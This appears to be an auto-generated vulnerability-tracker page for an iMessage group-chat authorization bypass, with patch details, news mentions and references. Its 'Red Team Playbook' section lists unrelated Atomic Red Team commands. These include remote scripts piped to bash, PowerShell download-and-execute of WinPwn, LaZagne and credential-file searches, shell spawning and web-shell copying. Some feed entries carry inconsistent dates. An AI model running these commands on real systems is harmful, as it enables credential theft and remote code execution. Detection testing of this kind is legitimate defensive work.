CVE-2026-113961
Overview
This vulnerability is an authorization bypass caused by insufficient validation of group membership controls within Apple HomeView Software's messaging component. The root cause lies in improper enforcement of access permissions when managing iMessage group chat membership, allowing unauthorized entities to join groups. The affected component is the group chat authorization mechanism integrated across multiple Apple operating systems and HomeView Software versions.
Vulnerability Description
An authorization issue was addressed with improved validation. This issue is fixed in HomeView Software Version 27.2, iOS 26.7.3 and iPadOS 26.7.3, iOS 27.2.1 and iPadOS 27.2.1, macOS Golden Gate 27.2.1, macOS Sequoia 15.8.3, macOS Tahoe 26.7.3, visionOS 27.2.1, watchOS 27.2.1. A remote attacker may be able to join an iMessage group chat and receive its messages.
Impact
An unauthenticated remote attacker can exploit this flaw to join an iMessage group chat without authorization, thereby gaining access to all messages shared within that group. This unauthorized access compromises the confidentiality of sensitive communications. No user interaction or prior authentication is required to perform the exploit. The breach of private group communications can lead to data exposure and potential privacy violations for affected users and organizations.
Solution
Apple has addressed this issue in HomeView Software Version 27.2 and corresponding OS updates including iOS 26.7.3 and 27.2.1, iPadOS 26.7.3 and 27.2.1, macOS Golden Gate 27.2.1, Sequoia 15.8.3, Tahoe 26.7.3, visionOS 27.2.1, and watchOS 27.2.1. Users and administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at Apple's security support pages: https://support.apple.com/en-us/149715, https://support.apple.com/en-us/149716, and https://support.apple.com/en-us/149718.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (20)
19 mentions from 18 sources in the last 7 days BuzzFactor 89 / 100
-
news news.lavx.hu 2026-11-13 04:41 UTCApple releases first HomeView security update before launch - news.lavx.huOpen source
-
social bsky.app @z3usalmighty.bsky.social 2026-11-13 00:00 UTCCVE-2026-113961 is an authorization bug fixed with better validation, not a crypto break. The companion flaw let someone added to a group read messages sent before they joined. Membership change is the hard part of group messaging, and the…Open source
-
news 9to5mac.com 2026-11-12 21:14 UTCApple HomeView launches tomorrow, but its first security update is already here - 9to5MacOpen source
-
social bsky.app @rootnationen.bsky.social 2026-11-12 04:33 UTCCritical security updates from Apple: vulnerabilities in iMessage, Bluetooth, and AirPlay fixed #AppleUpdates #iOSSecurity #iMessage #Bluetooth #AirPlayOpen source
-
social bsky.app @rootnationua.bsky.social 2026-11-12 04:33 UTCКритичні оновлення безпеки від Apple: виправлення вразливостей в iMessage, Bluetooth та AirPlay #Apple #ІнформаційнаБезпека #iOS #iPadOS #ВразливостіOpen source
-
social bsky.app @cvemon.bsky.social 2026-11-10 23:29 UTCCVE-2026-113961 is trending. Hype score 12, currently #7 on cvemon. An authorization issue was addressed with improved validation. This issue is fixed in iOS 26.7.3 and iPadOS 26.7.3, iOS 27.2.1 and iPadOS 27.2.1, macOS Golden Gate 27.2.1,…Open source
-
social bsky.app @signorina37.ransomnews.online 2026-11-10 16:28 UTCTra le flaw più importanti corrette: - #AirPlay CVE-2026-113968 che consente ad un attaccante in range di BT di skippare il limite di velocità sui tentativi di pairing - CVE-2026-113961 in #iMessage che espone conversazioni private 📸 scree…Open source
-
social infosec.exchange @DarkWebInformer 2026-11-10 16:12 UTC🚨 Apple patches 9 security flaws allowing attackers to access private iMessages and silently pair Bluetooth devices Apple has released iOS 27.2.1 and iPadOS 27.2.1, fixing nine security vulnerabilities affecting iMessage, Bluetooth, AirPla…Open source
-
news techtimes.co.uk 2026-11-10 13:34 UTCApple Patches iMessage Flaws That Could Let Strangers Read Your Group Chats Without an Invite - www.techtimes.co.ukOpen source
-
social bsky.app @chuiho.net 2026-11-10 12:15 UTC[注意]iOS 27.2.1 で iMessage グループ参加の欠陥を修正 Apple が iOS・iPadOS 27.2.1 で iMessage グループチャットに外から参加できる欠陥(CVE-2026-113961)と Bluetooth ペアリングの欠陥を修正。悪用の記載なし。 https://chuiho.net/posts/ios-27-2-1-imessage-group-bluetooth-flaws/ #iMessage #iOS2721Open source
-
news glitchwire.com 2026-11-10 11:33 UTCiOS 27.2.1 Patches iMessage Group Chat Infiltration and Zero-Click Bluetooth Pairing - GlitchwireOpen source
-
news thehackernews.com 2026-11-10 10:16 UTCApple Patches iMessage Group Chat Privacy Flaws and Bluetooth Pairing Vulnerabilities - The Hacker NewsOpen source
-
news gbhackers.com 2026-11-10 09:05 UTCApple iOS 27.2.1 Fixes 9 Security Vulnerabilities Affecting iMessage, Bluetooth, and AirPlay - GBHackers NewsOpen source
-
news cybersecuritynews.com 2026-11-10 09:04 UTCApple Fixes 9 Security Vulnerabilities in iOS 27.2.1, Including Bluetooth Pairing and iMessage Flaws - CyberSecurityNewsOpen source
-
social bsky.app @intcyberdigest.bsky.social 2026-11-10 07:52 UTCThe same update closes Bluetooth holes that could let a malicious device nearby pair with an iPhone without its owner tapping anything. Both iMessage bugs, CVE-2026-113961 and CVE-2026-113960, are fixed in iOS 27.2.1 and macOS 27.2.1, and…Open source
-
news cyberpress.org 2026-11-10 07:09 UTCApple Fixes iMessage Flaws That Could Let Hackers Secretly Join Group Chats and Read Messages - Cyber PressOpen source
-
news ithinkdiff.com 2026-11-10 03:31 UTCiOS 27.2.1 Patches iMessage Group Chat and Pairing Flaws - iThinkDifferentOpen source
-
news hkcert.org 2026-11-10 02:34 UTCApple Products Multiple Vulnerabilities - Hong Kong Computer Emergency Response Team Coordination CentreOpen source
-
news digitbin.com 2026-11-09 21:42 UTCiOS 27.2.1 patches an iMessage group chat flaw and four Bluetooth pairing gaps - DigitBinOpen source
-
news finance.biggo.com 2012-07-18 07:00 UTCApple Ships iOS 27.2.1 With Patches for Nine Flaws, Including iMessage Eavesdropping Risk - BigGo FinanceOpen source
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-113961 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/149715 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/149716 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/149718 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/149719 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/149720 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/149722 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/149724 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/149851 |